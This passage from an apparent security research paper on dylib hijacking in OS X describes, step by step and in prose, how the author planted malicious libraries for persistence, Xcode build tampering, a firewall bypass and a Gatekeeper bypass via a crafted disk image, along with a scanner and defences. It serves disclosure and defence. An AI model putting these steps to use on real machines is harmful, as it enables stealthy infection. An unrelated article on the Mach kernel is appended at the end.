Once compiled, this dylib was renamed to match the target (i.e. legitimate) library: 
rpathlib. Following this, the necessary directory structure 

(Library/One/rpathLib.framework/Versions/A/) was created and the ‘malicious’ dylib 

was copied in. This ensured that whenever the application was launched, dyld would 

now find (and load) the hijacker dylib during the search for the run-path-dependent 
dylib. 

 

Figure 22. The ‘malicious’ dylib placed in the primary run-path search path. 

Unfortunately, this initial hijack attempt failed and the application crashed 
miserably, as shown in Figure 23. 
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Figure 23. Success! Then crash and burning. 

The good news, though, was that the loader found and attempted to load the 

hijacker dylib (see the ‘RPATH successful expansion…’ log message in Figure 23). 

And although the application crashed, this was preceded by an informative and 
verbose exception, thrown by dyld. The exception seemed self explanatory: the 

version of the hijacker dylib was not compatible with the required (or expected) 

version. Digging into the loader’s source code revealed the code that triggered this 
exception, as shown in Figure 24. 

 

Figure 24. Dyld extracting and comparing compatibility version numbers. 
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As can be seen, the loader invokes the doGetLibraryInfo() method to extract 

compatibility and current version numbers from the LC_ID_DYLIB load command of 

the library that is being loaded. This extracted compatibility version number 
(‘minVersion’) is then checked against the version that the application requires. If it is 
too low, an incompatibility exception is thrown. 

It was quite trivial to fix the compatibility issue (and thus prevent the exception) by 

updating the version numbers in Xcode, and then recompiling, as shown in Figure 
25. 

 

Figure 25. Setting the compatibility and current version numbers. 

Dumping the LC_ID_DYLIB load command of the recompiled hijacker dylib confirmed 
the updated (and now compatible) version numbers, as shown in Figure 26. 

 

Figure 26. Embedded compatibility and current version numbers. 

The updated hijacker dylib was re-copied into the application’s primary run-path 

search directory. Relaunching the vulnerable application again showed the loader 
‘finding’ the hijacker dylib and attempting to load it. Alas, although the dylib was 

now seen as compatible (i.e. the version number checks passed), a new exception 
was thrown and the application crashed once again, as shown in Figure 27. 
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Figure 27. ‘Symbol not found’ exception. 

Once again, the exception was quite verbose, explaining exactly why the loader 

threw it, and thus killed the application. Applications link against dependent libraries 

in order to access functionality (such as functions, objects, etc.) that are exported by 

the library. Once a required dylib is loaded into memory, the loader will attempt to 

resolve (via exported symbols) the required functionality that the dependent library 

is expected to export. If this functionality is not found, linking fails and the loading 
and linking process is aborted, thus crashing the process. 

There were various ways to ensure that the hijacker dylib exported the correct 
symbols, such that it would be fully linked in. One naive approach would have been 

to implement and export code directly within the hijacker dylib to mimic all the 

exports of the target (legitimate) dylib. While this would probably have succeeded, it 
seemed complex and dylib specific (i.e. targeting another dylib would have required 

other exports). A more elegant approach was simply to instruct the linker to look 

elsewhere for the symbols it required. Of course, that elsewhere was the legitimate 
dylib. In this scenario, the hijacker dylib would simply acts as a proxy or ‘re-exporter’ 

dylib, and as the loader would follow its re-exporting directives, no linker errors 
would be thrown. 

 

Figure 28. Re-exporting to the legitimate dylib. 

It took some effort to get the re-exportation working seamlessly. The first step was to 

return to Xcode and add several linker flags to the hijacker dylib project. These flags 

included ‘-Xlinker’, ‘reexport_library’, and then the path to the target library which 
contained the actual exports that the vulnerable application was dependent upon. 



 

Figure 29. Required linker flags to enable re-exporting. 

These linker flags generated an embedded LC_REEXPORT_DYLIB load command that 
contained the path to the target (legitimate) library, as shown in Figure 30. 

 

Figure 30. Embedded LC_REEXPORT_DYLIB load command. 

However, all was not well. Since the re-export target of the hijacker dylib was a run-

path-dependent library, the name field in the embedded LC_REEXPORT_DYLIB 

(extracted from the legitimate dylib’s LC_ID_DYLIB load command) began with 

‘@rpath’. This was problematic since, unlike LC_LOAD*_DYLIB load commands, dyld 

does not resolve run-path-dependent paths in LC_REEXPORT_DYLIB load 

commands. In other words, the loader will try to load 

‘@rpath/rpathLib.framework/Versions/A/rpathLib’ directly from the file system. This, 
of course, would clearly fail. 

The solution was to resolve the embedded ‘@rpath’ path, providing the full path of 

the target library in the LC_REEXPORT_DYLIB load command. This was accomplished 

with one of Apple’s developer tools: install_name_tool. To update the embedded 

install name (path) in the LC_REEXPORT_DYLIB load command, the tool was 
executed with the -change flag, the existing name (within the LC_REEXPORT_DYLIB), 
the new name, and finally the path to the hijacker dylib, as shown in Figure 31. 
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Figure 31. Using install_tool_name to update the embedded name (path). 

With the path in the LC_REEXPORT_DYLIB load command updated correctly, the 
hijacked dylib was re-copied into the application’s primary run-path search 

directory, and then the application was re-executed. As shown in Figure 32, this 

finally resulted in success. 

 

Figure 32. Successfully dylib hijacking a vulnerable application. 

To summarize: since the rPathApp application linked against a run-path-dependent 

library which was not found in the initial run-path search directory, it was vulnerable 

to a dylib hijack attack. Planting a specially compatible malicious dylib in the initial 

search path directory caused the loader to load the hijacker dylib blindly each time 
the application was executed. Since the malicious dylib contained the correct 

versioning information as well as re-exporting all symbols to the legitimate dylib, all 

the required symbols were resolved, thus ensuring no functionality within the 
application was lost or broken. 
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Attacks 

With a solid understanding of dylib hijacking on OS X behind us, it is now time to 
illustrate some real-life attack scenarios and provide some practical defences. 

Advanced adversaries understand the importance of automating as many 

components of an attack as possible. Such automation increases scale and 
efficiency, freeing the attacker to focus on more demanding or complex aspects of 
the attack. 

The first component of the hijack attack that was automated was the discovery of 

vulnerable applications. A Python script, dylibHijackScanner.py (available for 

download at [15]), was created to accomplish this task. After gathering either a list of 
running processes or all executables on the file system, the script intelligently parses 

the binaries’ Mach-O headers and load commands. To detect binaries that may be 

hijacked via weak dylibs, the script looks for LC_LOAD_WEAK_DYLIB load commands 
that reference non-existent dylibs. Automatically detecting binaries that may be 

hijacked due to non-existent @rpath’d imports was a little more complex. First, the 

script looks for a binary with at least one LC_LOAD*_DYLIB load command that 

references a run-path-dependent dylib. If such a load command is found, the script 
continues parsing the binary’s load commands looking for multiple LC_RPATHs. In 

the case that both these prerequisites hold true, the script checks to see whether the 

run-path-dependent library import is found in a primary run-path search path. If the 
library does not exist, the script alerts the user that the binary is vulnerable. 

Executing the scanner script revealed a surprising number of vulnerable 
applications, including (as expected) the vulnerable test application, rPathApp.app. 

 

Figure 33. Automatically detecting vulnerable applications. 

As can be seen in Figure 33, the scanner script found nearly 150 vulnerable binaries 

just on the author’s work laptop! Interestingly, the majority of vulnerable 

applications fell into the more complex (from a prerequisite standpoint) ‘multiple 
rpath’ category. Due to space constraints, the full list of vulnerable applications 

cannot be shown here. However, Table 1 lists several of the more widespread or 
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well-recognized applications that were found by the scanner script to be vulnerable 
to a dylib hijack. 

Application Company Vulnerability 

iCloud Photos Apple rpath import 

Xcode Apple rpath import 

Word Microsoft rpath & weak import 

Excel Microsoft rpath & weak import 

Google Drive Google rpath import 

Java Oracle rpath import 

GPG Keychain GPG Tools rpath import 

Dropbox (garcon) Dropbox rpath import 

Table 1. Common vulnerable applications. 

With an automated capability to uncover vulnerable applications, the next logical 
step was to automate the creation of compatible hijacker dylibs. Recall that two 

components of the hijacker dylib had to be customized in order to perform a hijack 

successfully. First, the hijacker dylib’s versioning numbers had to be compatible with 
the legitimate dylib. Second (in the case of the rpath hijack), the hijacker dylib also 

had to contain a re-export (LC_REEXPORT_DYLIB) load command that pointed to the 

legitimate dylib, ensuring that all required symbols were resolvable. 

It was fairly straightforward to automate the customization of a generic dylib to fulfil 

these two prerequisites. A second Python script, createHijacker.py (also available for 
download at [15]), was created to perform this customization. First, the script finds 

and parses the relevant LC_ID_DYLIB load command within the target dylib (the 

legitimate dylib which the vulnerable application loads). This allows the necessary 
compatibility information to be extracted. Armed with this information, the hijacker 

dylib is similarly parsed, until its LC_ID_DYLIB load command is found. The script 

then updates the hijacker’s LC_ID_DYLIB load command with the extracted 

compatibility information, thus ensuring a precise compatibility versioning match. 
Following this, the re-export issue is addressed by updating the hijacker dylib’s 

LC_REEXPORT_DYLIB load command to point to the target dylib. While this could 

have been achieved by updating the LC_REEXPORT_DYLIB load command manually, 
it proved far easier simply to execute the install_name_tool command. 

Figure 34 shows the Python script automatically configuring a generic hijacker dylib 
in order to exploit the vulnerable example application, rpathApp.app. 
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Figure 34. Automated hijacker creation. 

Dylib hijacking can be used to perform a wide range of nefarious actions. This paper 

covers several of these, including persistence, load-time process injection, bypassing 

security products, and even a Gatekeeper bypass. These attacks, though highly 

damaging, are all realized simply by planting a malicious dylib which abuses 
legitimate functionality provided by the OS loader. As such, they are trivial to 

accomplish yet unlikely to be ‘patched out’ or even detected by personal security 
products. 

Using dylib hijacking to achieve stealthy persistence is one of the most advantageous 

uses of the attack. If a vulnerable application is started automatically whenever the 
system is rebooted or the user logs in, a local attacker can perform a persistent dylib 

hijack to gain automatic execution of malicious code. Besides a novel persistence 

mechanism, this scenario affords the attacker a fairly high level of stealth. First, it 

simply requires the planting of a single file – no OS components (e.g. startup 
configuration files or signed system binaries) are modified. This is important since 

such components are often monitored by security software or are trivial to verify. 

Second, the attacker’s dylib will be hosted within the context of an existing trusted 
process, making it difficult to detect as nothing will obviously appear amiss. 

Of course, gaining such stealthy and elegant persistence requires a vulnerable 
application that is automatically started by the OS. Apple’s iCloud Photo Stream 

Agent (/Applications/iPhoto.app/Contents/Library/LoginItems/ 

PhotoStreamAgent.app) is started automatically whenever a user logs in, in order to 
sync local content with the cloud. As luck would have it, the application contains 

multiple run-path search directories and several @rpath imports that are not found 



in the primary run-path search directory. In other words, it is vulnerable to a dylib 
hijack attack. 

 

Figure 35. Apple’s vulnerable Photo Stream Agent. 

Using the createHijacker.py script, it was trivial to configure a malicious hijacker 

dylib to ensure compatibility with the target dylib and application. It should be noted 
that in this case, since the vulnerable import (‘PhotoFoundation’) was found within a 

framework bundle, the same bundle structure was recreated in the primary run-path 

search directory (/ Applications/iPhoto.app/Contents/Library/LoginItems/). With the 
correct bundle layout and malicious hijacker dylib (renamed as ‘PhotoFoundation’) 

placed within the primary run-path search directory, the loader found and loaded 

the malicious dylib whenever the iCloud Photo Stream Agent was started. Since this 

application was executed by the OS, the hijacker dylib was stealthily and 
surreptitiously persisted across reboots. 

 

Figure 36. Hijacking Apple’s Photo Stream Agent for persistence. 

As a final note on persistence, if no vulnerable applications are found to be started 

automatically by the OS, any vulnerable application commonly started by the user 

(such as a browser, or mail client) may be targeted as well. Alternatively, a legitimate 

vulnerable application could easily be made persistent in a variety of ways (for 
example registering it as a Login Item, etc.), then persistently exploited. Although 

this latter scenario increases the visibility of the attack, the attacker dylib would, of 

course, prevent any UI from being displayed. Thus, it’s unlikely that the majority of 
users would notice a legitimate (Apple) binary automatically being started (and 
exploited) in the background. 

Process injection, or coercing an external process into loading a dynamic library, is 

another useful attack scenario of dylib hijacking. In the context of this paper, 

‘injection’ refers to load-time injection (i.e. whenever the process is started) as 
opposed to run-time injection. While the latter is arguably more powerful, the former 
is far simpler and often achieves the same level of damage. 



Using dylib hijacking to coerce an external process into persistently loading a 

malicious dylib is a powerful and stealthy technique. As with the other dylib hijack 

attack scenarios, it does not require any modifications to OS components or binaries 
(e.g. patching the target process’s on-disk binary image). Moreover, since the planted 

dylib will persistently and automatically be loaded into the target process space 

each time the process is started, an attack no longer needs a separate monitoring 
component (to detect when the target process is started, then inject a malicious 

dylib). Also, since the attacker simply requires a malicious hijacker dylib to be 

planted, it neatly side-steps the complexities of run-time process injection. Finally, as 
this injection technique abuses legitimate functionality provided by the OS loader, it 

is unlikely to be detected by personal security products (which often attempt to 
prevent remote process injection by monitoring ‘inter-process’ APIs). 

Xcode is Apple's ‘Integrated Development Environment’ (IDE) application. It is used 

by developers to write both OS X and iOS applications. As such, it is a juicy target for 
an advanced adversary who may wish to inject code into its address space to 

surreptitiously infect the developer’s products (i.e. as a creative autonomous 

malware propagation mechanism). Xcode and several of its various helper tools and 

utilities are vulnerable to dylib hijack attacks. Specifically, run-path-dependent 
dylibs, such as DVTFoundation are not found in Xcode’s primary run-path search 
directories (see Figure 37). 

 

Figure 37. Apple’s vulnerable IDE, Xcode. 

The process injection hijack against Xcode was fairly straightforward to complete. 
First, a hijacker dylib was configured, such that its versioning information was 

compatible and it re-exported all symbols to the legitimate DVTFoundation. Then, 

the configured hijacker dylib was copied to 
/Applications/Xcode.app/Contents/Frameworks/DVTFoundation.framework/Version

s/A/ (Frameworks/ being the primary run-path search directory). Now, whenever 

Xcode was started, the malicious code was automatically loaded as well. Here, it was 

free to perform actions such as intercepting compile requests and surreptitiously 
injecting malicious source or binary code into the final products. 

As Ken Thompson noted in his seminal work ‘Reflections on Trusting Trust’ [16], 

when you can’t trust the build process or compiler, you can’t even trust the code that 
you create. 
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Figure 38. Process ‘injection’ via dylib hijacking. 

Besides persistence and load-time process injection, dylib hijacking can be used to 
bypass personal security products. Specifically, by leveraging a dylib hijack attack, 

an attacker can coerce a trusted process into automatically loading malicious code, 

then perform some previous blocked or ‘alertable’ action, now without detection. 

Personal security products (PSPs) seek to detect malicious code via signatures, 

heuristic behavioural analysis, or simply by alerting the user whenever some event 
occurs. Since dylib hijacking is a novel technique that abuses legitimate 

functionality, both signature-based and heuristic-based products are trivial to 

bypass completely. However, security products, such as firewalls, that alert the user 
about any outgoing connections from an unknown process, pose more of a challenge 
to an attacker. Dylib hijacking can trivially thwart such products as well. 

Personal firewalls are popular with OS X users. They often take a somewhat binary 

approach, fully trusting outgoing network connections from known processes, while 

alerting the user to any network activity originating from unknown or untrusted 

processes. While this is an effective method for detecting basic malware, advanced 

attackers can trivially bypass these products by exploiting their Achilles heel: trust. 

As mentioned, generally these products contain default rules, or allow the user to 
create blanket rules for known, trusted processes (e.g. ‘allow any outgoing 

connection from process X’). While this ensures that legitimate functionality is not 

broken, if an attacker can introduce malicious code into the context of a trusted 

process, the code will inherit the process’s trust, and thus the fire-wall will allow its 
outgoing connections. 

GPG Tools [17] is a message encryption suite for OS X that provides the ability to 

manage keys, send encrypted mail, or, via plug-ins, enable cryptographic services to 
arbitrary applications. Unfortunately, its products are susceptible to dylib hijacking. 

 

Figure 39. GPG Tools’ vulnerable keychain app. 
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As GPG Keychain requires various Internet functionality (e.g. to look up keys on 

keyservers), it’s likely to have an ‘allow any outgoing connection’ rule, as shown 
in Figure 40. 

 

Figure 40. Access rule for GPG Keychain. 

Using a dylib hijack, an attacker can target the GPG Keychain application to load a 

malicious dylib into its address space. Here, the dylib will inherit the same level of 

trust as the process, and thus should be able to create outgoing connections without 
generating an alert. Testing this confirmed that the hijacker dylib was able to access 
the Internet in an uninhibited manner (see Figure 41). 

 

Figure 41. Bypassing a personal firewall (LittleSnitch) via dylib hijacking. 

(Click here to view a larger version of Figure 41.) 

Defensive-minded individuals may correctly point out that, in this scenario, GPG 
Keychain’s firewall rule could be tightened to mitigate this attack, by only allowing 

outgoing connections to specific remote endpoints (e.g. known key servers). 

However, there are a myriad of other vulnerable applications that may be hijacked to 
access the network in a similarly uninhibited manner. Or, in the case of the Little 
Snitch firewall, the inclusion of a system-level undeletable firewall rule allowing any 

connection from any process to talk to iCloud.com endpoints is more than enough 
for a full bypass (i.e. using a remote iCloud iDrive as a C&C server). 

So far, the dylib attack scenarios described here have all been local. While they are 
powerful, elegant and stealthy, they all require existing access to a user’s computer. 

However, dylib hijacking can also be abused by a remote attacker in order to 
facilitate gaining initial access to a remote computer. 

There are a variety of ways to infect Mac computers, but the simplest and most 

reliable is to deliver malicious content directly to end target(s). The ‘low-tech’ way is 
to coerce the user into downloading and installing the malicious content manually. 

Attackers creatively employ a range of techniques to accomplish this, such as 
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providing ‘required’ plug-ins (to view content), fake updates or patches, fake security 
tools (‘rogue’ AV products), or even infected torrents. 

 

Figure 42. Masked malicious content. 

If the user is tricked into downloading and running any of this malicious content, 

they could become infected. While ‘low tech’, the success of such techniques should 
not be underestimated. In fact, when a rogue security program (Mac Defender) was 

distributed by such means, hundreds of thousands of OS X users were infected, with 
over 60,000 alone contacting AppleCare in order to resolve the issue [18]. 

Relying on trickery to infect a remote target will probably not work against more 

computer-savvy individuals. A more reliable (though far more advanced) technique 
relies on man-in-the-middling users’ connections as they download legitimate 

software. Due to the constraints of the Mac App Store, most software is still delivered 

via developer or company websites. If such software is downloaded via insecure 
connections (e.g. over HTTP), an attacker with the necessary level of network access 

may be able to infect the download in transit. When the user then runs the software, 
they will become infected, as shown in Figure 43. 
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Figure 43. Man-in-the-middling a software download. 

Readers may be thinking, ‘hey, it’s 2015, most software should be downloaded via 

secure channels, right?’ Unfortunately, even today, the majority of third-party OS 
X software is distributed insecurely. For example, of the software found installed in 
the author’s dock, 66% was distributed insecurely. 

 

Figure 44. Software (in the author’s dock) that was distributed over HTTP. 

Moreover, further research uncovered that all major third-party OS X security 
products were similarly distributed insecurely (see Figure 45). 
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Figure 45. Insecure downloads of major OS X security products. 

Apple is well aware of these risks, and since version OS X 
Lion (10.7.5), Mac computers have shipped with a built-in security product, 
named Gatekeeper, that is designed to counter these attack vectors directly. 

The concept of Gatekeeper is simple, yet highly effective: block any untrusted 

software from executing. Behind the scenes, things are a little more complex, but for 

the purposes of this discussion, a higher-level overview suffices. When any 
executable content is downloaded, it is tagged with a ‘quarantined’ attribute. The 

first time such content is set to run, Gatekeeper verifies the software. Depending on 

the user’s settings, if the software is not signed with a known Apple developer ID 
(default), or from the Mac App Store, Gatekeeper will disallow the application from 
executing. 



 

Figure 46. Gatekeeper in action. 

With Gatekeeper automatically installed and enabled on all modern versions of OS X, 
tricking users into installing malicious software or infecting insecure downloads 

(which will break digital signatures) is essentially fully mitigated. (Of course, an 

attacker could attempt to obtain a valid Apple developer certificate, then sign their 
malicious software. However, Apple is fairly cautious about handing out such 

certificates, and moreover, has an effective certificate revocation process that can 

block certificates if any abuse is discovered. Also, if Gatekeeper is set to only allow 
software from the Mac App Store, this abuse scenario is impossible.) 

Unfortunately, by abusing a dylib hijack, an attacker can bypass Gatekeeper to run 
unsigned malicious code – even if the user’s settings only allow Apple-signed code 

from the Mac App Store. This (re)opens the previously discussed attack vectors and 
puts OS X users at risk once again. 

Conceptually, bypassing Gatekeeper via dylib hijacking is straightforward. 

While Gatekeeper fully validates the contents of software packages that are being 
executed (e.g. everything in an application bundle), it does not verify ‘external’ 

components. 



 

Figure 47. Theoretical dmg/zip that would bypass Gatekeeper. 

Normally this isn’t a problem – why would a downloaded (legitimate) application 
ever load relatively external code? (Hint: relative, yet external content.) 

As Gatekeeper only verifies internal content, if an Apple-signed or Mac App 
Store application contains a relative external reference to a hijackable dylib, an 

attacker can bypass Gatekeeper. Specifically, the attacker can create (or infect in 

transit) a .dmg or .zip file with the necessary folder structure to contain the malicious 

dylib in the externally referenced relative location. When the legitimate application is 
executed by the unsuspecting user, Gatekeeper will verify the application bundle 

then (as it is trusted, and unmodified) allow it to execute. During the loading process, 

the dylib hijack will be triggered and the externally referenced malicious dylib will be 
loaded – even if Gatekeeper is set to only allow code from the Mac App Store! 

Finding a vulnerable application that fulfils the necessary prerequisites was fairly 
easy. Instruments.app is an Apple-signed ‘Gatekeeper approved’ application that 

expects to be installed within a sub-directory of Xcode.app. As such, it contains 

relative references to dylibs outside of its application bundle; dylibs that can be 
hijacked. 

 

Figure 48. Apple’s vulnerable Instruments app. 

With a vulnerable trusted application, a malicious .dmg image was created that 
would trigger the Gatekeeper bypass. First, the Instruments.app was placed into the 



image. Then an external directory structure was created that contained the 
malicious dylib (CoreSimulator.framework/Versions/A/CoreSimulator). 

 

Figure 49. Malicious .dmg image. 

To make the malicious .dmg more ‘believable’, the external files were set to hidden, 

a top level alias (with a custom icon) was created to point to Instruments.app, the 
background was changed, and the entire image was made read-only (so that it would 

automatically be displayed when double-clicked). The final product is shown 
in Figure 50. 
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Figure 50. The finalized malicious .dmg image. 

This malicious (though seemingly benign) .dmg file was then ‘deployed’ (uploaded to 
a public URL) for testing purposes. When downloaded via Safari and then 

executed, Gatekeeper’s standard ‘this is downloaded from the Internet’ message 

window was initially shown. It is important to note that this alert is shown for any 
content downloaded from the Internet, and thus is not unusual. 

Once this message window was dismissed, the malicious code was surreptitiously 
loaded along with the legitimate application. This, of course, should not have been 

allowed as Gatekeeper’s settings were at the maximum (only allow apps from 

the Mac App Store) (see Figure 51). 

 

Figure 51. Bypassing Gatekeeper via a dylib hijack. 
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(Click here to view a larger version of Figure 51.) 

As the malicious dylib was loaded and executed before the application’s main 

method, the dylib could ensure that nothing appeared out of the ordinary. For 

example, in this case where the malicious .dmg masquerades as a Flash installer, the 
dylib can suppress Instruments.app’s UI, and instead spawn a legitimate Flash 
installer. 

With the ability to bypass Gatekeeper and load unsigned malicious code, attackers 

can return to their old habits of tricking users into installing fake patches, updates or 

installers, fake AV products, or executing infected pirated applications. Worse yet, 
advanced adversaries with networking-level capabilities (who can intercept insecure 

connections) can now arbitrarily infect legitimate software downloads. Neither have 

to worry Gatekeeper any more. 

Defences 

Dylib hijacking is a powerful new attack class against OS X, that affords both local 

and remote attackers a wide range of malicious attack scenarios. Unfortunately, 

despite being contacted multiple times, Apple has shown no interest in addressing 
any of the issues described in this paper. Granted, there appears to be no easy fix for 

the core issue of dylib hijacking as it abuses the legitimate functionality of the OS. 

However, it is the opinion of the author that Gatekeeper should certainly be fixed in 
order to prevent unsigned malicious code from executing. 

Users may wonder what they can do to protect themselves. First, until Gatekeeper is 
fixed, downloading untrusted, or even legitimate software via insecure channels (e.g. 

via the Internet over HTTP) is not advised. Refraining from this will ensure that 

remote attackers will be unable to gain initial access to one’s computer via the 
attack vector described in this paper. Due to the novelty of dylib hijacking on OS X, it 

is unlikely (though not impossible) that attackers or OS X malware are currently 
abusing such attacks locally. However, it can’t hurt to be sure! 

To detect local hijacks, as well as to reveal vulnerable applications, the author 

created a new application named Dynamic Hijack Scanner (or DHS). DHS attempts to 
uncover hijackers and vulnerable targets by scanning all running processes of the 
entire file-system. The application can be downloaded from objective-see.com. 
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Figure 52. Objective-see’s DHS scanner. 

Conclusion 

DLL hijacking is a well known attack class that affects the Windows OS. Until now, OS 
X was assumed to be immune to such attacks. This paper countered that 

assumption, illustrating a similar OS X attack, dubbed ‘dylib hijacking’. By abusing 
weak or run-path-dependent imports, found within countless Apple and third-party 

applications, this attack class opens up a multitude of attack scenarios to both local 

and remote attackers. From stealthy local persistence to a Gatekeeper bypass that 

provides avenues for remote infections, dylib hijacking is likely to become a powerful 
weapon in the arsenal of OS X attackers. And while Apple appears apathetic toward 

this novel attack, secure software downloads and tools such as DHS can ensure that 
OS X users remain secure... for now. 
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Mach (kernel) 
Mach (/mɑːk/)[1] is a kernel developed at Carnegie Mellon University by Richard 
Rashid and Avie Tevanian to support operating system research, 
primarily distributed and parallel computing. Mach is often considered one of the earliest 
examples of a microkernel. However, not all versions of Mach are microkernels. Mach's 
derivatives are the basis of the operating system kernel in GNU Hurd and 
of Apple's XNU kernel used in macOS, iOS, iPadOS, tvOS, and watchOS. 

The project at Carnegie Mellon ran from 1985 to 1994,[2] ending with Mach 3.0, which is a 
true microkernel. Mach was developed as a replacement for the kernel in the BSD version 
of Unix, so no new operating system would have to be designed around it. Mach and its 
derivatives exist within a number of commercial operating systems. These include all using 
the XNU operating system kernel which incorporates an earlier non-microkernel Mach as a 
major component. The Mach virtual memory management system was also adopted in 
4.4BSD by the BSD developers at CSRG,[3] and appears in modern BSD-derived Unix 
systems, such as FreeBSD. 

Mach is the logical successor to Carnegie Mellon's Accent kernel. The lead developer on 
the Mach project, Richard Rashid, has been working at Microsoft since 1991; he founded 
the Microsoft Research division. Another of the original Mach developers, Avie Tevanian, 
was formerly head of software at NeXT, then Chief Software Technology Officer at Apple 
Inc. until March 2006.[4][2] 

Name[edit] 

The developers had to bike to lunch through rainy Pittsburgh's mud puddles, and Tevanian 
joked the word "muck" could form a backronym for their Multi-User 
(or Multiprocessor Universal) Communication Kernel. Italian CMU engineer Dario 
Giuse later asked project leader Rick Rashid about the project's current title and received 
"MUCK" as the answer, though not spelled out but just pronounced: IPA: [mʌk] which he, 
according to the Italian alphabet, wrote like Mach. Rashid liked Giuse's spelling "Mach" so 
much that it prevailed.[5]: 103  

Unix pipes[edit] 

A key concept in the original Unix operating system was the idea of a pipe. A pipe was 
an abstraction that allowed data to be moved as an unstructured stream of bytes from 
program to program. Using pipes, users (or programmers) could link together multiple 
programs to complete tasks, feeding data through several small programs in turn. This 
contrasted with typical operating systems of the era, which required a single large program 
that could handle the entire task, or alternately, used files to pass data, which was resource 
expensive and time-consuming. 

Pipes were built on the underlying input/output system. This system was, in turn, based on 
a model where drivers were expected to periodically "block" while they waited for tasks to 
complete. For instance, a printer driver might send a line of text to a line printer and then 
have nothing to do until the printer completed printing that line. In this case, the driver 
would indicate that it was blocked, and the operating system would allow some other 
program to run until the printer indicated it was ready for more data. In the pipes system the 
limited resource was memory, and when one program filled the memory assigned to the 
pipe, it would naturally block. Normally this would cause the consuming program to run, 
emptying the pipe again. In contrast to a file, where the entire file has to be read or written 
before the next program can use it, pipes made the movement of data across multiple 
programs occur in a piecemeal fashion without any programmer intervention. 

However, implementing pipes in memory buffers forced data to be copied from program to 
program, a time-consuming and resource intensive operation. This made the pipe concept 
unsuitable for tasks where quick turnaround or low latency was needed, like in most device 
drivers. The operating system's kernel and most core functionality was instead written in a 
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single large program. When new functionality, such as computer networking, was added to 
the operating system, the size and complexity of the kernel grew, too. 

New concepts[edit] 

Unix pipes offered a conceptual system that could be used to build arbitrarily complex 
solutions out of small interacting programs. Being smaller, these programs were easy to 
program and maintain, and had well defined interfaces that simplified programming and 
debugging. These qualities are even more valuable for device drivers, where small size and 
bug-free performance are extremely important. There was a strong desire to model the 
kernel itself on the same basis of small interacting programs. 

One of the first systems to use a pipe-like system underpinning the operating system was 
the Aleph kernel developed at the University of Rochester. This introduced the concept 
of ports, which were essentially a shared memory implementation. In Aleph, the kernel itself 
was reduced to providing access to the hardware, including memory and the ports, while 
conventional programs using the ports system implemented all behavior, from device 
drivers to user programs. This concept greatly reduced the size of the kernel, and allowed 
users to experiment with different drivers simply by loading them and connecting them 
together at runtime. This greatly eased the problems when developing new operating 
system code, which otherwise generally required the machine to be restarted. The general 
concept of a small kernel and external drivers became known as a microkernel. 

Aleph was implemented on Data General Eclipse minicomputers and was tightly bound to 
them. This machine was far from ideal, since it required memory to be copied between 
programs, which involved a considerable performance overhead. It was also quite 
expensive. Nevertheless, Aleph proved that the basis system was sound, and went on to 
demonstrate computer clustering by copying the memory over an early Ethernet interface. 

Around this time a new generation of central processors (CPUs) were coming to market, 
offering 32-bit address spaces and (initially optional) support for a memory management 
unit (MMU). The MMU handled the instructions needed to implement a virtual 
memory system by keeping track of which pages of memory were in use by various 
programs. This offered a new solution to the port concept, using the copy on 
write mechanism provided by the virtual memory system. Instead of copying data between 
programs, all that had to be sent was the data needed to instruct the MMU to provide 
access to the same memory. This system would implement the interprocess 
communications system with dramatically higher performance. 

This concept was picked up at Carnegie-Mellon, who adapted Aleph for the PERQ 
workstation and implemented it using copy-on-write. The port was successful, but the 
resulting Accent kernel was of limited practical use because it did not run existing software. 
Moreover, Accent was as tightly tied to PERQ as Aleph was to the Eclipse. 

Mach[edit] 

The major change between these experimental kernels and Mach was the decision to 
make a version of the existing 4.2BSD kernel re-implemented on the Accent message-
passing concepts. Such a kernel would be binary compatible with existing BSD software, 
making the system immediately useful for everyday use while still being a useful 
experimental platform. Additionally, the new kernel would be designed from the start to 
support multiple processor architectures, even allowing heterogeneous clusters to be 
constructed. In order to bring the system up as quickly as possible, the system would be 
implemented by starting with the existing BSD code, and re-implementing it bit by bit 
as inter-process communication-based (IPC-based) programs. Thus Mach would begin as 
a monolithic system similar to existing UNIX systems, and evolve more toward the 
microkernel concept over time.[4] 

Mach started largely being an effort to produce a cleanly defined, UNIX-based, highly 
portable Accent. The result is a short list of generic concepts:[6][7] 
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• a "task" is an object consisting of a set of system resources that enable 
"threads" to run 

• a "thread" is a single unit of execution, exists within a context of a task and 
shares the task's resources 

• a "port" is a protected message queue for communication between tasks; tasks 
own send rights (permissions) and receive rights to each port. 

• "messages" are collections of typed data objects, they can only be sent to 
ports—not specifically tasks or threads 

Mach developed on Accent's IPC concepts, but made the system much more UNIX-like in 
nature, even able to run UNIX programs with little or no modification. To do this, Mach 
introduced the concept of a port, representing each endpoint of a two-way IPC. Ports had 
security and rights like files under UNIX, allowing a very UNIX-like model of protection to be 
applied to them. Additionally, Mach allowed any program to handle privileges that would 
normally be given to the operating system only, in order to allow user space programs to 
handle things like interacting with hardware. 

Under Mach, and like UNIX, the operating system again becomes primarily a collection of 
utilities. As with UNIX, Mach keeps the concept of a driver for handling the hardware. 
Therefore, all the drivers for the present hardware have to be included in the microkernel. 
Other architectures based on Hardware Abstraction Layer or exokernels could move the 
drivers out of the microkernel. 

The main difference with UNIX is that instead of utilities handling files, they can handle any 
"task". More operating system code was moved out of the kernel and into user space, 
resulting in a much smaller kernel and the rise of the term microkernel. Unlike traditional 
systems, under Mach a process, or "task", can consist of a number of threads. While this is 
common in modern systems, Mach was the first system to define tasks and threads in this 
way. The kernel's job was reduced from essentially being the operating system to 
maintaining the "utilities" and scheduling their access to hardware. 

The existence of ports and the use of IPC is perhaps the most fundamental difference 
between Mach and traditional kernels. Under UNIX, calling the kernel consists of an 
operation named a system call or trap. The program uses a library to place data in a well 
known location in memory and then causes a fault, a type of error. When a system is first 
started, its kernel is set up to be the "handler" of all faults; thus, when a program causes a 
fault, the kernel takes over, examines the information passed to it, and then carries out the 
instructions. 

Under Mach, the IPC system was used for this role instead. In order to call system 
functionality, a program would ask the kernel for access to a port, then use the IPC system 
to send messages to that port. Although sending a message requires a system call, just as 
a request for system functionality on other systems requires a system call, under Mach 
sending the message is pretty much all the kernel does; handling the actual request would 
be up to some other program. 

Thread and concurrency support benefited by message passing with IPC mechanisms 
since tasks now consisted of multiple code threads which Mach could freeze and unfreeze 
during message handling. This allowed the system to be distributed over multiple 
processors, either using shared memory directly as in most Mach messages, or by adding 
code to copy the message to another processor if needed. In a traditional kernel this is 
difficult to implement; the system has to be sure that different programs do not try to write 
to the same memory from different processors. However, Mach ports, its process for 
memory access, make this well defined and easy to implement, and were made a first-
class citizen in that system. 

